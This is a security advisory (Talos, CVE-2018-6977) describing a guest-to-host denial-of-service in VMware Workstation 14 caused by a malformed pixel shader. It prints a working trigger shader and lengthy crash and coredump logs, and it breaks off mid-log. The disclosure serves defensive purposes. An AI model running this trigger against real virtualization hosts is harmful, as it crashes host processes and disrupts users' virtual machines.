Talos Vulnerability Report

TALOS-2018-0589

VMware Workstation 14 Shader Functionality Assert Denial Of Service

October 9, 2018
CVE Number

CVE-2018-6977

Summary

An exploitable denial-of-service vulnerability exists in VMware Workstation 14. A specially crafted pixel shader can cause denial-of-service issues. An attacker can provide a specially crafted shader file (either in binary or text form) to trigger this vulnerability. This vulnerability can be triggered from VMware guest, and VMware host will be affected (leading vmware-vmx.exe process to crash on host).

Tested Versions

VMware Workstation 14 (14.1.1 build-7528167) with Windows 10 x64 as guestVM

Product URLs

http://vmware.com

CVSSv3 Score

6.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-617: Reachable Assertion

Details

This vulnerability can be triggered by supplying a malformed pixel shader (in text or binary form) inside VMware guest OS. Such an attack can be triggered from the VMware guest usermode to cause a memory denial-of-service attack on vmware-vmx.exe process on the host, or theoretically through WEBGL (remote website) — assuming the browser will not use ANGLE, and will somehow supply the malformed shader.

A sample shader that triggers the bug is provided below:

void main( void ) {
        // min: 0x80000000 (-2147483648)
        // max: 0xfff00000 (-1048576)
        for(int j=0x80000000;j<1;j++){
            gl_FragColor+=vec4(1, 1, 1,1);
        }
}

By forcing the initial value of the loop counter variable (“j”) to be in range from 0x80000000 to 0xfff00000, it is possible to cause the vmware-vmx.exe process to terminate due to an assert condition. VMware compiles the shader and passes it to the graphics card driver on host. The shader gets executed and causes a reset of the device. We can assume so by two errors reported in the VMware log. The DXGI_ERROR_DEVICE_REMOVED error states that “video card has been physically removed from the system, or a driver upgrade for the video card has occurred. The application should destroy and recreate the device.” The DXGI_ERROR_DEVICE_HUNG error states that “the application’s device failed due to badly formed commands sent by the application. This is a design-time issue that should be investigated and fixed.” This situation most likely causes panic in the vmware-vmx.exe process and leads to its termination.

From the vmware-vmx.exe:

2018-04-24T14:51:21.778+02:00| svga| W115: CreateTexture2D: hr=DXGI_ERROR_DEVICE_REMOVED
2018-04-24T14:51:21.778+02:00| svga| W115: CreateTexture2D: hr=DXGI_ERROR_DEVICE_HUNG
2018-04-24T14:51:21.778+02:00| svga| W115: DX11Resource_CreateTexture2D: WxH=(816, 639), MipLevels=1, ArraySize=1, DXGI format=2
2018-04-24T14:51:21.778+02:00| svga| W115: DX11Resource_CreateTexture2D: SampleCount=1, SampleQuality=0
2018-04-24T14:51:21.778+02:00| svga| W115: DX11Resource_CreateTexture2D: CPUAccessFlags=0x0, Usage=0, BindFlags=0x28, MiscFlags=0x0
2018-04-24T14:51:21.779+02:00| svga| E105: PANIC: VERIFY bora\mks\hostops\DX11\DX11ShimOps.c:5332    

From the vmware-vmx-debug.exe:

2018-04-24T12:46:00.376+02:00| svga| W115: ResourceMap: hr=DXGI_ERROR_DEVICE_REMOVED
2018-04-24T12:46:00.376+02:00| svga| W115: ResourceMap: hr=DXGI_ERROR_DEVICE_HUNG
2018-04-24T12:46:00.376+02:00| svga| W115: DX11Resource_Map: failed D3D11 map of staging resource: resource=0x1569091BA40, sid=36, stagingResource=0x156908C95E0, SVGA format=141, DXGI format=90, numMipLevels=1, arraySize=1, subresource=0, mapType=1, mapResource=0xEF05FF560
2018-04-24T12:46:00.376+02:00| svga| W115: DX11Renderer: DX11Resource_MapSubresourceBox: failed to map resource: resource=0x1569091BA40, sid=36, SVGA format=141, mipmap=0, index=0
2018-04-24T12:46:00.377+02:00| svga| E105: PANIC: ASSERT bora\mks\hostops\DX11\DX11Resource.c:2375
2018-04-24T12:46:00.378+02:00| svga| W115: Win32 object usage: GDI 7, USER 25
2018-04-24T12:46:00.378+02:00| svga| I125: CoreDump_CoreDump: faking exception to get context
2018-04-24T12:46:00.379+02:00| svga| I125: CoreDump: Minidump file     

Crash Information

From vmware-vmx.exe (this is not a windbg crash dump):

2018-04-24T14:51:21.803+02:00| svga| I125: CoreDump_CoreDump: faking exception to get context
2018-04-24T14:51:21.804+02:00| mks| W115: Panic in progress... ungrabbing
2018-04-24T14:51:21.804+02:00| mks| I125: MKS: Release starting (Panic)
2018-04-24T14:51:21.805+02:00| svga| I125: CoreDump: Minidump file K:\vmware_images\windows_10_x64_uefi\vmware-vmx.dmp exists. Rotating ...
2018-04-24T14:51:21.805+02:00| mks| I125: MKS: Release finished (Panic)
2018-04-24T14:51:21.811+02:00| svga| W115: CoreDump: Writing minidump to K:\vmware_images\windows_10_x64_uefi\vmware-vmx.dmp
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ff75f850000 size 0x0x01674000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x01395bfd timestamp 0x5a53448e
2018-04-24T14:51:22.010+02:00| svga| I125:   image file K:\tools\vmware\x64\vmware-vmx.exe
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 14.1.1.28517
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8c370000 size 0x0x001e0000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x001e4c3c timestamp 0xe508fc03
2018-04-24T14:51:22.010+02:00| svga| I125:   image file C:\Windows\System32\ntdll.dll
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 10.0.16299.334
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8bfa0000 size 0x0x000ae000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x000b3d84 timestamp 0x0c2cf900
2018-04-24T14:51:22.010+02:00| svga| I125:   image file C:\Windows\System32\kernel32.dll
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ffc891e0000 size 0x0x00266000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x00275bd0 timestamp 0x6369e29f
2018-04-24T14:51:22.010+02:00| svga| I125:   image file C:\Windows\System32\KERNELBASE.dll
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8c0f0000 size 0x0x0018f000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x0019e63b timestamp 0x6c242675
2018-04-24T14:51:22.010+02:00| svga| I125:   image file C:\Windows\System32\user32.dll
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 10.0.16299.125
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89450000 size 0x0x00020000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x000266b4 timestamp 0x1900dcc9
2018-04-24T14:51:22.010+02:00| svga| I125:   image file C:\Windows\System32\win32u.dll
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.010+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8c2a0000 size 0x0x00028000
2018-04-24T14:51:22.010+02:00| svga| I125:   checksum 0x0002e7ad timestamp 0xd7e6475d
2018-04-24T14:51:22.010+02:00| svga| I125:   image file C:\Windows\System32\gdi32.dll
2018-04-24T14:51:22.010+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88f10000 size 0x0x00193000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x001932d0 timestamp 0x4ee89f99
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\gdi32full.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.98
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc640d0000 size 0x0x000ef000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x000f6c2b timestamp 0x56bc00d3
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\msvcr120.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 12.0.40649.5
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89740000 size 0x0x0009b000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x0009ebca timestamp 0x591e7571
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\msvcp_win.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.248
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89640000 size 0x0x000f6000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x000f65c3 timestamp 0xe71e5dfe
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\ucrtbase.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.248
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89b80000 size 0x0x00149000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x00153700 timestamp 0xe56d382d
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\ole32.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8a110000 size 0x0x00308000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x0031728d timestamp 0x3db461b4
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\combase.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89840000 size 0x0x0011f000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x001202de timestamp 0xd9cb376e
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\rpcrt4.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc890b0000 size 0x0x00072000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x00081082 timestamp 0x384d71d2
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\bcryptPrimitives.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.98
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8be30000 size 0x0x0005b000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x0006723a timestamp 0xcaf94b03
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\sechost.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8bef0000 size 0x0x000a1000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x000a12fc timestamp 0x7eb2aaf2
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\advapi32.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8c050000 size 0x0x0009d000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x0009ec48 timestamp 0x20688290
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\msvcrt.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 7.0.16299.125
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8a880000 size 0x0x01436000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x0146c67f timestamp 0x0d81d886
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\shell32.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88ec0000 size 0x0x0004a000
2018-04-24T14:51:22.011+02:00| svga| I125:   checksum 0x0004f9c5 timestamp 0xa7a2bb4e
2018-04-24T14:51:22.011+02:00| svga| I125:   image file C:\Windows\System32\cfgmgr32.dll
2018-04-24T14:51:22.011+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.011+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89e60000 size 0x0x000a6000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x000ae81f timestamp 0x6c07e48f
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\SHCore.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88770000 size 0x0x00747000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x00756832 timestamp 0xaa4d43b0
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\windows.storage.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8bdd0000 size 0x0x00051000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0005d507 timestamp 0x2303fb66
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\shlwapi.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88750000 size 0x0x00011000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0000e866 timestamp 0xd758e164
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\kernel.appcore.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88700000 size 0x0x0004c000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0004f3bc timestamp 0x883ace6c
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\powrprof.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc886c0000 size 0x0x0001b000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x00020cca timestamp 0xce335499
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\profapi.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8a420000 size 0x0x0044e000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0045a715 timestamp 0x6e870640
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\setupapi.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.248
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8c2d0000 size 0x0x0006c000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0006e5d3 timestamp 0x9ac9e819
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\ws2_32.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89d70000 size 0x0x000c5000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x000c23a1 timestamp 0xda658619
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\oleaut32.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89470000 size 0x0x001ce000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x001cf658 timestamp 0x02d1080b
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\crypt32.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc886e0000 size 0x0x00012000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x000128b0 timestamp 0xcfb4ce3b
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\msasn1.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc86a50000 size 0x0x00023000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0002dedf timestamp 0x711180df
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\winmm.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc620c0000 size 0x0x0008f000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x0009143d timestamp 0x2ccf947e
2018-04-24T14:51:22.012+02:00| svga| I125:   image file C:\Windows\System32\dsound.dll
2018-04-24T14:51:22.012+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.012+02:00| svga| I125: CoreDump: including module base 0x0x7ffc81560000 size 0x0x00040000
2018-04-24T14:51:22.012+02:00| svga| I125:   checksum 0x00044046 timestamp 0xb44180d3
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\WinSCard.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.334
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x50350000 size 0x0x00018000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x0002291c timestamp 0x59d578c9
2018-04-24T14:51:22.013+02:00| svga| I125:   image file K:\tools\vmware\x64\zlib1.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 1.2.11.0
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc84710000 size 0x0x000de000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x000e9176 timestamp 0x989c8db4
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\winhttp.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.371
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc85090000 size 0x0x00013000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x0001d14e timestamp 0xd029ef98
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\wtsapi32.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc86910000 size 0x0x0002a000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x00036d11 timestamp 0x61131a6d
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\winmmbase.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc884d0000 size 0x0x00027000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x00026f15 timestamp 0xb8e773ec
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\devobj.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89f10000 size 0x0x0002d000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x0002f706 timestamp 0x36b05a53
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\imm32.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc86cf0000 size 0x0x00095000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x000986a2 timestamp 0x384015f0
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\uxtheme.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc877f0000 size 0x0x00031000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x0003bb30 timestamp 0x66e0a464
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\ntmarta.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x50110000 size 0x0x0023e000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x0023fab2 timestamp 0x59fe8bc7
2018-04-24T14:51:22.013+02:00| svga| I125:   image file K:\tools\vmware\x64\libeay32.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 1.0.2.13
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc72510000 size 0x0x0005a000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x000686a6 timestamp 0x59fe8bd1
2018-04-24T14:51:22.013+02:00| svga| I125:   image file K:\tools\vmware\x64\ssleay32.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 1.0.2.13
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88110000 size 0x0x00017000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x00021503 timestamp 0x32e5cbdc
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\cryptsp.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc87b50000 size 0x0x00033000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x00039e91 timestamp 0xf0b48762
2018-04-24T14:51:22.013+02:00| svga| I125:   image file C:\Windows\System32\rsaenh.dll
2018-04-24T14:51:22.013+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.013+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88220000 size 0x0x00025000
2018-04-24T14:51:22.013+02:00| svga| I125:   checksum 0x0002604f timestamp 0x0a84c761
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\bcrypt.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.125
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc88130000 size 0x0x0000b000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x00016bb1 timestamp 0xa04d2d94
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\CRYPTBASE.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc885f0000 size 0x0x00030000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x00039bda timestamp 0xa7849cb8
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\sspicli.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.98
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc87f50000 size 0x0x00066000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x00064a95 timestamp 0x3a7c7ba7
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\mswsock.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc87d20000 size 0x0x000b6000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x000c000c timestamp 0xccee8975
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\dnsapi.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.334
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89e40000 size 0x0x00008000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x0000df0a timestamp 0x99bb6efc
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\nsi.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc87ce0000 size 0x0x00039000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x00037892 timestamp 0x097e71dc
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\IPHLPAPI.DLL
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc80600000 size 0x0x0000a000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x0000a8f8 timestamp 0x001abb0d
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\rasadhlp.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc89cd0000 size 0x0x0009e000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x0009ea1d timestamp 0x2c498fd1
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\clbcatq.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 2001.12.10941.16384
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc80360000 size 0x0x0000f000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x00013e86 timestamp 0x2d600235
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\wbem\wbemprox.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc7d990000 size 0x0x00081000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x0007ee3e timestamp 0xe602587c
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\wbemcomn.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc7ef10000 size 0x0x00014000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x00019c92 timestamp 0x58e5a8fa
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\wbem\wbemsvc.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc7f300000 size 0x0x000f0000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x000f5116 timestamp 0x9d854283
2018-04-24T14:51:22.014+02:00| svga| I125:   image file C:\Windows\System32\wbem\fastprox.dll
2018-04-24T14:51:22.014+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.014+02:00| svga| I125: CoreDump: including module base 0x0x7ffc8a870000 size 0x0x00008000
2018-04-24T14:51:22.014+02:00| svga| I125:   checksum 0x0000c85b timestamp 0x305ab344
2018-04-24T14:51:22.015+02:00| svga| I125:   image file C:\Windows\System32\psapi.dll
2018-04-24T14:51:22.015+02:00| svga| I125:   file version 10.0.16299.15
2018-04-24T14:51:22.015+02:00| svga| I125: CoreDump: including module base 0x0x7ffc79e60000 size 0x0x001c8000
